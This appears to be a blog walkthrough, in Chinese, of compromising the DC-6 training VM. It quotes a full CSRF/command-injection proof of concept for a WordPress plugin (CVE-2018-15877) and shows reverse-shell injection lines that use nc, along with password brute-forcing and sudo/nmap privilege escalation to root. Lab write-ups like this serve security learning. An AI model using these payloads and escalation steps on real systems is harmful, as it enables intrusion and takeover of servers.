DC-6 靶机渗透测试

DC-6 渗透测试

冲冲冲,好好学习 。 收获总结写在文末。

操作机:kali 172.66.66.129

靶机:DC-4 172.66.66.136

网络模式:NAT

上来一波 netdiscover

image

靶机ip 172.66.66.136

nmap -sV -A -p- 172.66.66.136 -oN /tmp/dc-6.nmap

image

开了22 80,dirb http://wordy/

image

image

80访问不了,需要配置域名解析 ,windows下 在C:\Windows\System32\drivers\etc

kali里改一下/etc/hosts ,加一行 172.66.66.136 wordy

image

image
多么亲切的cms--WordPress ,wpscan 用一下可以枚举用户名,cewl收集密码(看一下网站的内容就知道这收集的密码可能不靠谱)

cewl http://wordy/ -w /tmp/dc-6.txt收集密码

wpscan --url http://wordy/ -e u 枚举用户

image

admin 、mark 、graham 、jens 、sarah5个账号 名

用户密码爆破

wpscan --url http://wordy/ -e u -P /tmp/dc-6.txt

image

失败,欺负我没字典?还记得kali里的密码集在那个目录吗? /usr/share/wordlists 找个字典用一下。rockyou.txt.gz 解压这个出来用

image

image

论字典的重要性...看了下官方给的提示

image

最终密码里会有k01字符,把包含该字段的密码分离出来。

image

账号密码mark : helpdesk01

image

可能有疑问:我怎么知道它哪有漏洞可以用呢?

不知道就去找呗,看到啥都百度一下 XXX poc,总能找到。

image

5.1.1版本没有能用的。看到用了插件 activity monitor

searchsploit activity monitor 看到了45274.html

<!--
About:
===========
Component: Plainview Activity Monitor (Wordpress plugin)
Vulnerable version: 20161228 and possibly prior
Fixed version: 20180826
CVE-ID: CVE-2018-15877
CWE-ID: CWE-78
Author:
- LydA(c)ric Lefebvre (https://www.linkedin.com/in/lydericlefebvre)

Timeline:
===========
- 2018/08/25: Vulnerability found
- 2018/08/25: CVE-ID request
- 2018/08/26: Reported to developer
- 2018/08/26: Fixed version
- 2018/08/26: Advisory published on GitHub
- 2018/08/26: Advisory sent to bugtraq mailing list

Description:
===========
Plainview Activity Monitor Wordpress plugin is vulnerable to OS
command injection which allows an attacker to remotely execute
commands on underlying system. Application passes unsafe user supplied
data to ip parameter into activities_overview.php.
Privileges are required in order to exploit this vulnerability, but
this plugin version is also vulnerable to CSRF attack and Reflected
XSS. Combined, these three vulnerabilities can lead to Remote Command
Execution just with an admin click on a malicious link.

References:
===========
https://github.com/aas-n/CVE/blob/master/CVE-2018-15877/

PoC:
-->

<html>
  <!--  Wordpress Plainview Activity Monitor RCE
        [+] Version: 20161228 and possibly prior
        [+] Description: Combine OS Commanding and CSRF to get reverse shell
        [+] Author: LydA(c)ric LEFEBVRE
        [+] CVE-ID: CVE-2018-15877
        [+] Usage: Replace 127.0.0.1 & 9999 with you ip and port to get reverse shell
        [+] Note: Many reflected XSS exists on this plugin and can be combine with this exploit as well
  -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://localhost:8000/wp-admin/admin.php?page=plainview_activity_monitor&tab=activity_tools" method="POST" enctype="multipart/form-data">
      <input type="hidden" name="ip" value="google.fr| nc -nlvp 127.0.0.1 9999 -e /bin/bash" />
      <input type="hidden" name="lookup" value="Lookup" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
            

构造一个请求,让给出的poc是拿到一个反弹shell。这个html需要想办法经过服务器解析之后执行才能生效。kali里开一下服务器执行行就可以了。

python -m SimpleHTTPServer 9898

image

image

发现执行出错了,“收到无效的客户端请求:请求的第一行不包含绝对URL-尝试启用不可见的代理支持。”

burp抓包改包。

image

前面需要写入一个可访问的地址,再拼接 命令

image

image

这就可以反弹shell了。

改成 www.baidu.com | nc 172.66.66.129 8888 -e /bin/bash

image

image

交互shell python -c 'import pty;pty.spawn("/bin/bash")'

cd 到home目录下找找东西,在mark/stuff发现

image

graham:GSo7isUM1D4噢~ 我下意识想到的是 su graham 阿哲....

速问速答:su 切换用户 与 ssh登录的用户,使用上有啥区别?

其实也就是su切换之后那些PATH,MAIL,PWD等的值 的问题,su切换之后,这些值也还是切换前的用户的,su切换之后,可以输入exit退回之前的登录用户。

ssh就是很正常的一种用户登录。

ssh graham@172.66.66.136

image

image

可以发现 backups.sh的权限很高,当前账号在所属组里,可往里追加写:

echo '/bin/bash' >> backups.sh

sudo -u jens /home/jens/backups.sh

image

成功切换到了jens,报错是 tar默认相对路径,所以提示去除 / 符号

sudo -l

image

先看看nmap的版本 nmap -v 7.4的版本,比较新,无法实现直接 nmap> 命令行那种交互(旧版本的nmap 2.02至5.21)nmap --interactive可见无此参数

image

image

不过可以把 /bin/bash 写进脚本里,通过nmap的--script参数执行脚本。

echo 'os.execute("/bin/bash")'>get_shell.nse

sudo nmap --script=/home/jens/get_shell.nse

image

okk

image

最后

做了这么些靶机,感觉答题流程都一样,差别在细节,本靶心得:

  1. history.pushState( )这是一个非常神奇的javascript方法,让页面无刷新增添浏览器历史记录。

    语法 history.pushState(state, title, url)

    URL — 这个参数提供了新历史纪录的地址。请注意,浏览器在调用pushState()方法后不会去加载这个URL,但有可能在之后会这样做,比如用户重启浏览器之后。新的URL不一定要是绝对地址,如果它是相对的,它一定是相对于当前的URL。新URL必须和当前URL在同一个源下;否则,pushState() 将丢出异常。这个参数可选,如果它没有被特别标注,会被设置为文档的当前URL。

  2. nc的 -l 选项

    用于指定nc将处于侦听模式。指定该参数,则意味着nc被当作server侦听并接受连接,而非向其它地址发起连接。所以 -l 参数 与ip地址不能同时出现。
    这是错的nc -nlvp 172.66.66.129 8888 -e /bin/bash 这是错的

  3. 用户家目录下这四个隐藏文件解读:.bash_history .bash_logout .bashrc .profile

    .bash_history 记录这个用户执行过的命令(当用户退出时写入)
    .bash_profile 保存用户搜索的命令的路径
    .bash_logout 当用户退出时执行的命令
    .bashrc 保存自定义的命令别名
    /etc/bashrc 全局所有用户保存自定命令别名
    /etc/profile 全局所有用户载入的系统的环境
    读取顺序如下:
    /etc/profile
    /etc/bashrc
    ~/.bashrc
    ~/.bash_profile
    
  4. nmap 提权。使用--script参数执行提权脚本。写绝对路径上去。

  5. os.execute ([command])这是lua中的一个函数,相当于C语言里的 system(),这个函数解析command再通过系统调用解析的结果,会返回一个依赖于操作系统的状态码。

    Lua的os.execute ("pause") 等价于c语言:system("pause")含义是:发起系统调用来执行命令pasue

  6. 回忆一下这个:

    命令 > 文件覆盖的方式,把命令的正确输出输出到指定的文件或设备当中。

    命令 >> 文件追加的方式,把命令的正确输出输出到指定的文件或设备当中。

  7. nmap的脚本是以.nse结尾的

posted @ 2021-05-12 13:01  Bitores  阅读(447)  评论(0编辑  收藏  举报